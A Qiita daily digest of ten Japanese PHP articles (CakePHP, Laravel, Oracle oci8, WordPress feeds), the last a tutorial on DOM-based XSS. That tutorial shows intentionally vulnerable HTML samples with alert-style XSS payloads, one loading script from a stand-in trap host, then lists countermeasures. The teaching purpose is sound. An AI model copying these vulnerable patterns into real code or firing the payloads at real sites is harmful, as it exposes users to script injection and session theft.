20200305のPHPに関する記事は10件です。

プログラミングを初めて2カ月半で作ったwebアプリ

記事の概要

私が作成したポートフォリオの解説です。
作った背景から、目的、採用した技術、機能、工夫した点、問題点をまとめた。

背景

プログラミング知識はなかったが、やる気と語学力が評価され、2019年の8月から11月までの4か月間フィリピンのオフショア開発企業でインターンとして受け入れてもらった。
その時に業務に入る前の研修課題としてphpを使ったwebアプリケーションの作成が命じられ、私はよく使っているtwitterのクローンサイトを作成した。
研修中はローカル環境のみで開発していたのだが、帰国後、自らのポートフォリオの一環として使うためにAWSを使い、本番環境にデプロイした。

目的

  • 開発を通してWEBアプリケーションの動作の仕組みを理解する
  • 要件定義から設計、開発、テストまですべて自分で行うことによってシステムの開発工程を理解する
  • スケジュール表を事前に作り、スケジュール通りに開発を行えるようなマネジメント能力を養う
  • わからない点は、積極的にフィリピン人スタッフに質問することで、フィリピン人スタッフとの交流を深める

採用した技術

言語 
php5.6(cakephp3)
javascript(jquery)

CSSフレームワーク
bootstrap4

開発環境
centos6.7
vagrant

本番環境
aws ec2 RDS

バージョン管理
git

主な機能

ログイン、ユーザー登録機能

ユーザー情報として、初期時にユーザー名、メールアドレス、パスワードの登録が必要。
データベースには、これらに加え、プロフィール画像のパス、アカウント作成、修正した日時、
メールでユーザー登録した場合は、メールアドレスをハッシュ化したもの、
TWITTERでユーザー登録した場合は、ログイントークンを保存している。
microblog_login-compressor (1).gif

投稿機能

画像付きでの投稿、画像なしでの投稿がそれぞれ可能。
microblog_post-compressor.gif

投稿削除、投稿編集機能

自分の投稿のみ、投稿の削除や投稿編集を行うことが出来る。

フォロー、アンフォロー機能

他のユーザーをフォローすることが出来る機能。フォローすることによって、そのユーザーの投稿を閲覧することが出来る。

LIKE機能、LIKEカウント機能

一つのポストに対して1人1回までLIKEすることが可能。また、一つのポストに対するLIKEをカウントすることが出来る。

microblog_like-compressor.gif

コメント付きリツイート機能、コメントなしリツイート機能、リツイートカウント機能

ユーザー検索機能、投稿検索機能

microblog_search-compressor.gif

工夫した点

1.LIKEボタンとフォロー(アンフォロー)ボタンをjqeuryを用いてajaxを使用した点
 LIKEボタンとフォローボタンは、よく使うため、そのようなボタンを押すたびにロードしていたらユーザーが使いづらいため、ajax処理を用いた。javascriptを使った経験が、あまりなかったので、処理の難易度の割には、時間が掛かった。
2.ユーザー登録時にメール認証のみではなく、twitterを用いたソーシャル認証も行えるようにした点
 メール認証が面倒な人でも、簡単に始められるためにソーシャルログインも取り入れた。ライブラリを用いて実装したので、比較的簡単に実装できた。
3.検索機能でユーザーとポストの検索を同時に行えるようにした点
 はじめは、ユーザーのみの検索しか行っていなかったが、フィリピン人スタッフから「ユーザーとポストを同時に検索したい」と注文を受けたので、同時に検索できるようにした。しかし、GETではなく、POST処理をしてしまっている。

課題

1.わかりづらいUI
 ユーザー目線での開発を行えなかった。特に、ユーザーがページ移動した後に「戻る」ボタンがないときなど、行き止まりになってしまうような設計がいくつかある。
2.テーブル設計を入念に行うべきだった
 postテーブルとretweetテーブルを分けたテーブル設計にしたため、ポスト一覧を時系列順に表示するときに,複雑なSQL処理をする必要が生じてしまった。
3.冗長なコーディング
4.フレームワークの理解度を上げる
 一回フレームワークを使わずに同様なWEBアプリ開発した後に、フレームワークへの理解を深める目的もかねて本WEBアプリを制作したのだが、フレームワークの良さを十分に生かしたとは言い辛い。

今後

 1年後くらいに、現在のアプリをリファクタリングしてみて、自分の成長を感じられるようにはなりたい。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

同時ログイン後の強制ログアウト表示を出す

前回のCakePHPでの同時ログイン禁止の続き。
過去のセッションをすべてDBから消して強制ログアウトした後の挙動と、
「他でログインしたからこのセッションはログアウトした」という表示を出す方法について。

DBに無いSession idが来た時の挙動

Sessionsテーブルからデータを消して強制ログアウトさせる方法の場合、ブラウザからはDB側データが消された事は分からないので、cookieが残っていれば普通に過去のセッションIDを送ってくる。
この時のサーバーサイドの挙動は以下の通り。

  • 何らかのURLにユーザーからアクセスされる
  • セッション開始(session_start())され、openハンドラとreadハンドラが一回呼ばれる
    • この呼び出しはCakePHPというよりPHP自体の機能
    • カスタムSessionHandlerを登録してるので、そこで定義した関数が呼ばれる
  • openハンドラは定義してないので継承元のDatabaseSessionへ、そこでも結局何もしない
  • readハンドラでDB読みに行き、当然DBに行が無いので、空文字列""を返す
  • Session id再発行。これ以降は再発行されたsession idで通常の動作になる
    • 内部でid振りなおし
    • writeハンドラ呼ばれてDBに書き込み
    • ユーザーにも新IDのcookieを返す
  • Authは当然失敗、ログインアクションにredirecされる。これの通り。

そしてログイン画面にリダイレクト後、

  • 再発行されたsession idのcookieを受け取る
  • DBにデータがあるので、ごく普通のセッション
    • =この場所では強制ログアウト後か否かは知り得ない

強制ログアウト時に表示を出す

二重ログイン後か否かを判断して強制ログアウトされた旨のメッセージを出したい場合、
上の挙動の通りリダイレクト後のログイン画面では知り様が無い。
よって、最初にアクセスされた、リダイレクト前のページで検知する必要がある。

検知はカスタムSessionHandlerで特定の挙動をしたときにフラグを立てるようにして、
Auth失敗時にこのフラグを確認する。
場所はAppControllerのbeforeFilter()あたり。当然ここに来るまでにセッションID再発行まで終わっている。
以下①有り && ②無し が強制ログアウト時の状況になる。
① read() でカラ文字列を返した
② destroy() が呼ばれた

beforeFilter()内

if (!$this->Auth->user()) {
    //ここでフラグチェック
}

補足 ②destroy有無フラグが必要な理由

普通にログアウト・再ログインする際にもセッションID再発行が行われる。
この時もread()で空文字返す処理があるので、①だけで絞り込めない。
この時はdestroyも呼ばれるので、この有無を絞り込みに使う。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Problem 1 - The requested PHP extension ext-intl * is missing from your system.のエラー

環境

Laravel5.8
MAMP環境
Mac
php7.3

問題

プロジェクト下のターミナルで

composer install

を行った際に

Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - The requested PHP extension ext-intl * is missing from your system. Install or enable PHP's intl extension.

というエラーに遭遇した。

単純にPHP's intl extensionというのを使えるようにしてくださいというエラーだと思い、
installしようとしたが悉くエラーが出てしまった。

解決法

phpのバージョンを7.3 → 7.4に引き上げたらcomposer installできるようになりました。

バージョンアップ↓↓
https://qiita.com/tana08/items/046cba8e23d32599ee4a

他に良い方法があれば共有していただきたく存じます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

アウトプットPart2

3月5日勉強でやったこと

1.PHPでHello Worldを出力した

スクリーンショット (10).png

出力などはわかっていたのだが、ApacheとPHPを関連付けるのが難しかった。
無事に出力できてよかった。

2.Gitを知ろう

Gitはコードの変更履歴が残るため、ファイルがかさばらないすごい技術です。
どうしてもプログラムにしてもパワーポイントにしても、名前を別に変えることによりファイルが増えていきどれがどれだかわからない状態になってしまうことが多いのでこの技術はすごくありがたいなと思いました。
しかも仲間たちとファイルが共有できるし、その人の変更履歴を選べるので使い勝手がいいなと思いました。

3.よく使うファイル

今日は、プログラムを組む上で必ず使うであろうファイルを調べました:rolling_eyes:
・JSON
   配列とオブジェクトをネスト構造で表現できるため、どんな複雑なデータ構造でも規定可能
   文字だけのファイルなので軽い
・CSV
   ファイルが小さい
   アプリやシステムでの取り扱いが簡単
・Yaml
   構造化されたデータを扱うフォーマット
   計算もできて変数も宣言できる器用なファイル

どれもすごく使いやすいファイルで、今後お世話になるファイルです。

                           以上、ありがとうございました!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

SJISとSJIS-winの違い

はじめに

エクセルで開く前提のcsvファイルを作る際、調査したので備忘録として残します

結論

sjisとSJIS-winで迷ったら、使える文字の多い、SJIS-winにしとけば問題なさそうです

  • SJIS
    • Shift_JIS = CP932
    • アスキーやマイクロソフトなどが中心になって作った文字コード
  • SJIS-win
    • Windows-31J = MS932
    • SJISに特殊文字を追加した文字コード
      • 丸数字 (①②③…⑳)
      • ローマ数字 (ⅠⅡⅢ…Ⅹ、ⅰⅱⅲ…ⅹ)
      • カッコ付きの株 (㈱)
      • はしご高[はしごたか] (髙)
      • たつ崎[たつさき、たちさき] (﨑)

補足

  • ℓ(リットル)などの記号は、unicode文字なので、SJIS-winでも文字化けする
  • UTF-8(BOM付き)でも、文字化けせずにエクセルに表示できる模様(もちろん上記のℓや特殊文字も)
    • BOM付きかどうかが、特定のエディタじゃないと判別できないということで、テストのことも考え見送り

参考

https://sachips.byeto.jp/php/php_sjis_sjis-win.html
https://tools.m-bsys.com/ex/sjis.php

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

php artisan migrateで外部キー追加ができない

問題

  • commentsテーブルとpostsテーブルの2つを作ろうとしたがうまく行かない。
php artisan migrate


Migrating: 2020_03_05_085907_create_comments_table

   Illuminate\Database\QueryException 

  SQLSTATE[HY000]: General error: 1215 Cannot add foreign key constraint (SQL: alter table `comments` add constraint `comments_post_id_foreign` foreign key (`post_id`) references `posts` (`id`))

原因

  • migrationsテーブルの中にmigrate実行履歴が入っていた。
  • php artisan migrateをすると、migrationsテーブルの中に実行履歴が残るようだ。
  • 別の原因でphp artisan migrate:rollbackを使わずに、drop tableしたせい。

image.png

解決

  • drop tableのときに、delete from migrationsで関連する履歴を消しておく。
  • あるいはちゃんとphp artisan migrate:rollbackをつかいましょう。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Zend Serverのoci8

Zend Serverのoci8

Oracleインタフェース案件で、Zend Server for IBM iのoci8モジュールを使用しているが、この度Oracle側の更新で嵌ったので、備忘として。

開発内容

  • Oracle : 11g → 12c へ更新
  • 該当PHPプログラムを12cの新DBに対応させる

環境

本番環境

  • OS : IBM i V7R1M0
  • Zend Server for IBM i : 5.5
  • OCI8 : 2.0.8
  • Oracle Run-time Client Library Version : 10.2.0.5.0
  • Oracle Compile-time Instant Client Version :10.2
  • Oracle : 12.1

開発環境

  • OS : Windows 10
  • Zend Server for Windows : 9.1
  • OCI8 : 2.1.8
  • Oracle Run-time Client Library Version : 12.1.0.2.0
  • Oracle Compile-time Instant Client Version :12.1
  • Oracle : 12.2 (Vagrant上)

ORA-28040(認証プロトコル・エラー)

ORA-28040(認証プロトコル・エラー)までの流れ

  • 12c上にDB接続ユーザーを作成
  • 開発環境で、oci8で12c接続プログラムを開発し問題なく動作
  • 同プログラムを本番環境へデプロイ
  • 本番環境でプログラム実行
  • ORA-28040(認証プロトコル・エラー)

開発環境では、正常に接続できたOracleに対して、本番環境では、28040 ORA-28040: No matching authentication protocolが発生。

この場合、oci8のバージョン自体は最新でも、Oracle Run-time Client Library Version が、Windows版 Zend Server(12系)とIBM i版(10系)で、異なる事が原因と考えられる。
対処方法として、sqlnet.ora($ORACLE_HOME/network/admin/sqlnet.ora) を次の様に変更する事で、下位バージョンのクライアントと互換性を保つことが出来る。

指定は認証バージョンであり、Oracleのバージョンではない。

cd $ORACLE_HOME(/opt/oracle/product/12.2.0.1/dbhome_1)/network/admin
sudo vi sqlnet.ora

----- ファイル編集 -----
NAME.DIRECTORY_PATH= (TNSNAMES, EZCONNECT, HOSTNAME)
## ↓を追加
SQLNET.ALLOWED_LOGON_VERSION_SERVER=11(※認証バージョン)
認証バージョン 生成パスワードのバージョン
12a 12c
12 12c,11g
11 12c,11g,10g
10~8 11と同じ

変更後にリスナーの再起動を行う。

嵌ったポイント

ORA-01017: invalid username/password;

前述のORA-28040までは、直ぐに気づき対処出来たが、この後にORA-01017: invalid username/password; logon deniedが発生し、少し躓いた。

普段Oracleを使用しない私は、SQLNET.ALLOWED_LOGON_VERSION_SERVER設定を、てっきりスイッチだと思っていたが、Oracleユーザーにパスワード・バージョンはキャッシュされており、SQLNET.ALLOWED_LOGON_VERSION_SERVER設定後に作成されたユーザーでないと、認証バージョンが反映されていない。

SQLNET.ALLOWED_LOGON_VERSION_SERVER設定前に作成したユーザーに、パスワード・バージョンを反映させたい場合は、該当ユーザーのパスワード更新が必要となる。

パスワード更新後は無事接続出来た。
ユーザーに登録されているパスワード・バージョンの確認する場合は、SQL*PlusSQL Developerを使用して、次のSQLを実行する。

select 
 username,password_versions 
from dba_users where account_status='OPEN'
;
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【CakePHP】CounterCacheでユーザーのフォロー数とフォロワー数をカウントする

CounterCacheとは

例えば、記事に紐づくコメント数や、いいね数などhasManyで紐づくデータの数を記事のリストと同時に表示したいはずです。

そのようなときはSELECT COUNT(*)で取得する方法が考えられます。
しかし、記事データを取得する際に毎回SELECT COUNT(*)クエリが発行されるのははっきりいって地獄ですよね:confounded:
しかも、いいね数順にソートしたいときにもいいね数にインデックスを貼ることができないのでさらにパフォーマンスが悪化することが考えられますね...

そのような場合、記事テーブルにコメント数いいね数カラムをもたせる(キャッシュさせる)という方法がよく取られます。
あえて正規化を崩すような設計ですが、わざわざ結合や集計をすることなく取得することができ、さらにインデックスを貼ることもできるのでパフォーマンスの向上が見込まれます:laughing:

記事テーブルにカウント数をもたせる際のデメリット

パフォーマンスは向上しましたが、正規化を崩しているため、当然そのためのデメリットが存在します。
データが追加、削除されるたびに確実にカウント数が更新されるようにして置かなければなりません。
自分でそれを実装するときには処理の漏れがないように...トランザクションは...とかとか面倒なことを考えなれけばいけません:weary:...がでもCakePHPなら大丈夫、CounterCacheという便利なものがあります。:joy:

実際にやってみる

それでは記事のタイトルどおり、ユーザーに紐づくフォロー数とフォロワー数をカウントしてみます。
使用するテーブルはそれぞれこんな感じです。

UsersTable

列名 データ 長さ
ID INT 11
username VARCHAR 20
password VARCHAR 255
follow_count INT 11
follower_count INT 11

follow_countfollower_countが今回のキモですね。
CounterCacheにより更新されるフィールドはINT型である必要があります。

FollowsTable

列名 データ 長さ
user_id INT 11
follow_id INT 11

user_idがフォローしたユーザーのIDでfollow_idがフォローされたユーザーのIDとなります。

例えば、次のようなデータがあった場合、

user_id follow_id
1 2
2 1
3 1

ユーザー1はユーザー2のフォロワーという関係になり、また互いに相互フォローとなります。
この時、ユーザー1のUsersTablefollow_countが1、follower_countが2となりますね。

FollowsTable

さっそくFollowersTableを実装します。
bin/cake bake model Followsで生成したときはおそらくこんな感じのテーブルになっているはずです。

FollowsTable.php
namespace App\Model\Table;

use Cake\ORM\Query;
use Cake\ORM\RulesChecker;
use Cake\ORM\Table;
use Cake\Validation\Validator;
use Cake\ORM\TableRegistry;

class FollowsTable extends Table
{
    public function initialize(array $config)
    {
        parent::initialize($config);

        $this->setTable('follows');
        $this->setDisplayField('id');
        $this->setPrimaryKey('id');

        $this->belongsTo('Users', [
            'foreignKey' => 'user_id',
            'joinType' => 'INNER',
        ]);
    }

    // Validationは省略
}

CouterCacheを利用するためには、更新するフィールドとアソシエーリョンを構築する必要があります。
すでにUsersTableとのアソシエーリョンは設定されていますが、このままだとフォロワー数をカウントすることができません。UsersTableとのリレーションを別名で追加します。

class FollowsTable extends Table
{
    public function initialize(array $config)
    {
        parent::initialize($config);

        $this->setTable('follows');
        $this->setDisplayField('id');
        $this->setPrimaryKey('id');

        $this->belongsTo('Users', [
            'foreignKey' => 'user_id',
            'joinType' => 'INNER',
        ]);
+
+       $this->belongsTo('FollowUsers', [
+            'className' => 'Users',
+            'foreignKey' => 'follow_id',
+            'joinType' => 'INNER',
+        ]);
    }
}

同一テーブルに対して複数のアソシエーリョンを構築するときには、別の名前で登録してclassNameでアソシエーリョン先のテーブルを指定します。

CounterCacheビヘイビアーを有効にする

アソシエーリョンが完了したところで、CounterCacheを有効にしましょう!
CounterCacheはビヘイビアーとして定義されています。

class FollowsTable extends Table
{
    public function initialize(array $config)
    {
        parent::initialize($config);

        $this->setTable('follows');
        $this->setDisplayField('id');
        $this->setPrimaryKey('id');
+
+       $this->addBehavior('CounterCache', [
+            'Users' => ['follow_count'],
+            'FollowUsers' => ['follower_count']
+        ]);

        $this->belongsTo('Users', [
            'foreignKey' => 'user_id',
            'joinType' => 'INNER',
        ]);

       $this->belongsTo('FollowUsers', [
            'className' => 'Users',
            'foreignKey' => 'follow_id',
            'joinType' => 'INNER',
        ]);
    }
}

これだけですべての設定は完了です:wink:

あとは。エンティティーが保存または削除されるたびにカウンターが更新されます。
ただし、updateAll()deleteAll() を使用するか、作成した SQL を実行するとカウンターは更新されないことに注意してください:confounded:

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

WordPressで投稿と外部サイトの更新情報をまとめて日付順に表示する

やりたいこと

  • WordPressサイトの新着情報に外部サイトの更新情報もまぜたい
  • 順番はまぜた状態で日付順にする

イメージ

スクリーンショット 2020-03-05 10.22.05.png

出来上がったコード

投稿の更新内容と外部サイトのRSSをそれぞれ取得し、新着順に並べ替えたリストを表示するショートコードを作成します。

functions.php
//新着表示用ショートコード
function newsFunc() {
    global $wpdb;
    global $post;
    $disNum = 5; //表示数
    $news_data = array();
    //wpの新着
    $wpLabel = 'お知らせ'; //wp投稿用のラベル
    $news_post = get_posts(array('posts_per_page' => $disNum,'post_type' => 'post','category_name' => 'info'));
    if($news_post){
        foreach($news_post as $post) : setup_postdata( $post );
        $dateNum = get_the_time( 'YmdHi', $post->ID );
        $news_data += array($dateNum => '<li><a href="'.get_permalink().'"><span class="date">'.get_the_date( 'Y.m.d', $post->ID ).'</span><span class="cat">'.$wpLabel.'</span><span class="title">'.get_the_title().'</span></a></li>');
        endforeach;
    }
    wp_reset_postdata();

    //外部の新着
    $feedLists = array( // '表示ラベル'=>'feedのURL',
        'メモ帳'=>'https://memo.ark-under.net/feed',
        'Qiita'=>'https://qiita.com/mei331/feed',
    );
    include_once( ABSPATH . WPINC . '/feed.php' );

    foreach($feedLists as $fLabel => $fURL){
        if(strpos($fURL,'facebook') !== false){
            //facebook feedの場合
            $requests = file_get_contents($fURL);
            if($requests){
                $fb_response = json_decode($requests);
                if($fb_response){
                    foreach($fb_response->data as $item){
                        $dateNumJS = date('Ymdhi',  strtotime($item->created_time));
                        $dateHTML = date('Y.m.d',  strtotime($item->created_time));
                        $tenten = '';
                        if(mb_strlen($item->message) > 45){$tenten = '...';}
                        $url = 'https://www.facebook.com/'.$item->id;
                        $news_data += array($dateNumJS => '<li><a href="'.$url.'"><span class="date">'.$dateHTML.'</span><span class="cat" label="'.$fLabel.'">'.$fLabel.'</span><span class="title">'.mb_substr($item->message, 0, 45).$tenten.'</span></a></li>');
                    }
                }
            }
        }else{
            //rssやatomの場合
            $rss = fetch_feed( $fURL );
            if ( !is_wp_error( $rss ) ) {
                $maxitems = $rss->get_item_quantity($disNum);
                $rss_items = $rss->get_items( 0, $maxitems );
            }
            if ( !empty( $maxitems ) ) {
                foreach($rss_items as $item){
                    $dateNumJS = date('Ymdhi',  strtotime($item->get_date()));
                    $dateHTML = date('Y.m.d',  strtotime($item->get_date()));
                    $url = $item->get_permalink();
                    $news_data += array($dateNumJS => '<li><a href="'.$url.'"><span class="date">'.$dateHTML.'</span><span class="cat" label="'.$fLabel.'">'.$fLabel.'</span><span class="title">'.$item->get_title().'</span></a></li>');
                }
            }
        }
    }

    krsort($news_data);
    $news_links = '<ul id="feed">';
    $num = 0;
    foreach ( $news_data as $news_item => $news_part ){
        if($num < $disNum){
            $news_links .= $news_part;
        }
        $num++;
    }
    $news_links .= '</ul>';
    return $news_links;
}
add_shortcode('newsLink', 'newsFunc');
style.css
#top_news{
    clear: both;
    padding: 1em .5em 0;
    margin: 30px;
    border-top: #68411e 1px dotted;
}
#top_news h2{
    font-family: 'Limelight', cursive;
    font-weight: normal;
    padding: 0;
    margin: 0;
    color: #68411e;
}
#top_news li a{
    display: flex;
    padding: .5em .5em;
    border-bottom: rgba(104, 65, 29, .2) 1px solid;
    text-decoration: none;
    color: #333;
    align-items: baseline;
}
#top_news li a .date{
    color: #b3b3b3;
}
#top_news li a .cat{
    width: 75px;
    font-size: .7em;
    background-color: #00518f;
    color: #fff;
    border-radius: 5px;
    margin: 0 1em;
    text-align: center;
}
#top_news li a .cat[label="メモ帳"]{
    background-color: #7c3f9e;
}
#top_news li a .cat[label="Qiita"]{
    background-color: #55c500;
}
@media screen and (max-width: 549px){
    #top_news li a{
        flex-wrap: wrap;
    }
    #top_news li a .title{
        width: 100%;
    }
}

出来上がったショートコード[newsLink]を、固定ページなどで呼び出して使います。

上記では自サイトの投稿のお知らせカテゴリと外部サイト2つを合わせた3サイト分を表示しています。
自サイトの全ての投稿を含める場合は,'category_name' => 'info'部分を削除してください。

facebook用に分岐も追加してありますが、facebook feedを表示する場合は、無期限のアクセストークンを含むfeedURLを追加するようにしてください。

参考)Facebookページのフィードを画像付きで取得する方法【API ver.5】

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

JavaScriptの問題 「DOM Based Xss / Webストレージの不適切な使用」

JavaScriptにまつわる脆弱性について。
「DOM Based Xss」と「Webストレージの不適切な使用」について記載する。

JavaScript | MDN

DOM Based Xs

  1. 概要
  2. 攻撃手法と影響
  3. 脆弱性が生まれる原因
  4. 対策

DOM Based XSS - IPA
第6回 DOM-based XSS その1:JavaScriptセキュリティの基礎知識|gihyo.jp … 技術評論社

概要

JavaScriptが原因で発生するXXSをDOM Based Xssと呼んでいる。
XXSはサーバ側のプログラムの不備が原因で発生するが、クライアントサイドで動作するJavaScriptの記述の不備で発生するケースもある。
このケースがDOM Based Xssに該当する。

攻撃手法と影響

影響

通常のXSSと同じ。具体的な被害としてはフィッシング詐欺、セッションハイジャック、ウェブサイトの改ざんなど。

  • クッキー値の盗み出し
  • その他のJavaScriptによる攻撃
  • 画像の書き換え

攻撃手法

  • innerHTMLプロパティ
  • document.writeメソッド
  • XMLHttpRequest
  • jQueryのセレクタの動的生成
  • JavaScriptスキーム

innerHTMLプロパティ

URLの#以降を取得しinnerHTMLプロパティを使用して表示内容を変更するscriptを記述した、以下のhtmlファイルを参考に検証する。
element.innerHTML - Web API | MDN

4h-001.html
<body>
<script>
window.addEventListener("hashchange", chghash, false);
window.addEventListener("load", chghash, false);

function chghash() {
  var hash = window.location.hash;
  var color = document.getElementById("color");
  color.innerHTML = decodeURIComponent(window.location.hash.slice(1));
}
</script>
<a href="#赤"></a>
<a href="#緑"></a>
<a href="#青"></a>
<p id="color"></p>
</body>

攻撃はURLの#以降に下記を指定。

<img src=/ onerror=alert(1)>

結果はalertダイアログが表示される。
このことから外部から指定したスクリプトが実行され、脆弱性が混入していることが分かる。
jQueryのhtml()メソッドを使用している場合でも同様の結果になる。

document.writeメソッド

document.writeメソッドも外部からの入力値でJavaScriptを生成される可能性がある処理の1つである。
URLをデコードし、パラメータに追加して表示内容を変更するscriptを記述した、以下のhtmlファイルを参考に検証する。
XMLHttpRequest - Web API | MDN

4h-002.html
<body>
アクセス解析サンプル
<script>
var url = decodeURIComponent(location.href);
document.write('<img src="http://api.example.net/4h/4h-003.php?' + url + '">');
</script>
</body>

攻撃はURLの#以降に下記を指定。

"><script>alert(document.domain)</script>

結果はalertダイアログが表示される。
innerHTMLと違いscript要素のJavaScriptが実行される。

XMLHttpRequest

フラグメント識別子(アンカー)をトリガーにブラウザ上でサーバーとHTTP通信を行う際に検証を行わないと、外部のURLを指定しDOM Based Xssが発生する。
ウインドウのハッシュが変更されるかウインドウが読み込まれた際にXMLHttpRequestを使用、URLの#以降を取得し表示内容を変更するscriptを記述した、以下のhtmlファイルを参考に検証する。

Document.write() - Web API | MDN

4h-004.html
<body>
<script>
window.addEventListener("hashchange", cxhash, false);
window.addEventListener("load", cxhash, false);

function cxhash() {
  var req = new XMLHttpRequest();
  var url = location.hash.slice(1) + '.html';
  if (url === '.html') url = 'menu_a.html';
  req.open("GET", url);
  req.onreadystatechange = function() {
    if (req.readyState == 4 && req.status == 200) {
      var div = document.getElementById("content");
      div.innerHTML = req.responseText;
    }
  };
  req.send(null);
}
</script>
<a href="#menu_a">A</a>
<a href="#menu_b">B</a>
<a href="#menu_c">C</a>
<a href="#menu_d">D</a>
<div id="content"></div>
</body>

攻撃はURLの#以降に下記を指定。

//trap.example.com/4h/4h-900.php?

結果はalertダイアログが表示される。
CORSによりこのhtmlファイルのオリジンからのXMLHttpRequestのアクセスに対して4h-900.phpの内容が読み込まれ、JavaScriptが実行される。

jQueryのセレクタの動的生成

セレクタと呼ばれるjQueryの機能の不適切な利用でXSSが発生する
URLのパラメータを変更するとラジオボタンの状態を変更されるscriptを記述した以下のhtmlファイルを参考に検証する。

4h-005.html
<body>
<script src="../js/jquery-1.8.3.js"></script>
<script src="../js/URI.min.js"></script>

<form id="form1">
<input type="radio" name="color" value="1"><br>
<input type="radio" name="color" value="2"><br>
<input type="radio" name="color" value="3"><br>
</form>
<script>
var uri = new URI();
var color = uri.query(true).color;
if (! color) color = "1";

$('input[name="color"][value="' + color + '"]').attr("checked", true);
</script>
</body>

攻撃はURLの#以降に下記を指定。

"]<img+src=/+onerror=alert(1)>

結果はalertダイアログが表示される。
新たにimgタグが作成され、onerrorイベントのJavaScriptが実行される。

JavaScripスキーム

JavaScriptのlocation.hrefにもXSS脆弱性が存在する。
ボタンを押すとJavaScriptで処理を実行し、フラグメント識別子で指定されたURLにリダイレクトするscriptを記述した以下のhtmlファイルを参考に検証する。

4h-006.html
<body>
処理を行います <input type="button" value="実行" onclick="go()">
<script>
function go() {
  // 様々な処理
  var url = location.hash.slice(1);
  location.href = url;
}
</script>
</body>

攻撃はURLの#以降に下記を指定。

javascript:alert(document.domain)

結果はalertダイアログが表示される。
location.hrefに任意の文字列を設定できるとXSSの原因となる。

脆弱性が生まれる原因

  • DOM操作の際に外部から指定されたHTMLタグなどが有効になってしまう機能を用いている
  • eval
  • XMLHttpRequestのURLが未検証
  • location.hrefやsrc属性、href属性のURLが未検証
  • document.write() / document.writeln()
  • innreHTML / outerHTML
  • jQueryのhtml() / jQuery(), $() etc...

対策

外部から指定した文字列をHTMLタグではなく、ただの文字として表示する。

  • 適切なDOM操作、記号のエスケープ
  • eval、setTimeout、Functionコンストラクタなどの引数に文字列形式で外部からの値を渡さない。
  • URLのスキームをhttpかhttpsに限定
  • jQueryのセレクタは動的生成しない
  • 最新のライブラリを用いる
  • XMLHttpRequestのURLを検証する

適切なDOM操作、記号のエスケープ

要素を追加する際はinnerHTMLやdocument.writeの使用を避け、textContentプロパティを使用する。
※textContentプロパティはHTMLタグを文字として表示する。
Node.textContent - Web API | MDN
また、HTMLエスケープ(記号を特殊文字に変換)も対策となる。

eval、setTimeout、Functionコンストラクタなどの引数に文字列形式で外部からの値を渡さない。

evalやFunctionコンストラクタは危険なのでそもそもの使用を避ける。
setTimeoutやsetIntervalの場合は文字列の代わりに関数リテラルやクロージャを使用する。

URLのスキームをhttpかhttpsに限定

スキームがhttpかhttpsであることを確認するためのscriptを記述する。

jQueryのセレクタは動的生成しない

$()の引数は原則として動的生成せず、findメソッドで代用する。

最新のライブラリを用いる

新しいjQueryを使用するだけでDOM Based Xssを防げる。

XMLHttpRequestのURLを検証する

URLを外部から指定できないようにする。

Webストレージの不適切な使用

  1. Webストレージとは
  2. Webストレージには何を保存してよいか
  3. Webストレージの不適切な利用例

Web Storage API | MDN

Webストレージとは

WebストレージはJavaScriptから書き込み、読み出し、削除ができるだけでサーバへの送信は自動的に行われない。
WebストレージにはlocalStorageとsessionStorageの2種類がある。localStorageは永続的なストレージ、sessionStorageはブラウザのタブが開いている間だけ保持されるストレージ。

Webストレージには何を保存してよいか

Webストレージの内容はXSSにより漏洩しやすいため、重要な情報(パスワード、個人情報)は保存しない。
重要な情報は必要なたびにサーバに問い合わせるようにする。

Webストレージの不適切な利用例

  • Webストレージに秘密情報を保存していた
  • Webストレージに保存した情報が、XXSなどにより漏洩する
  • WebストレージがXSS経由で改ざんされる
  • Webストレージを経由したDOM Based XSS
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む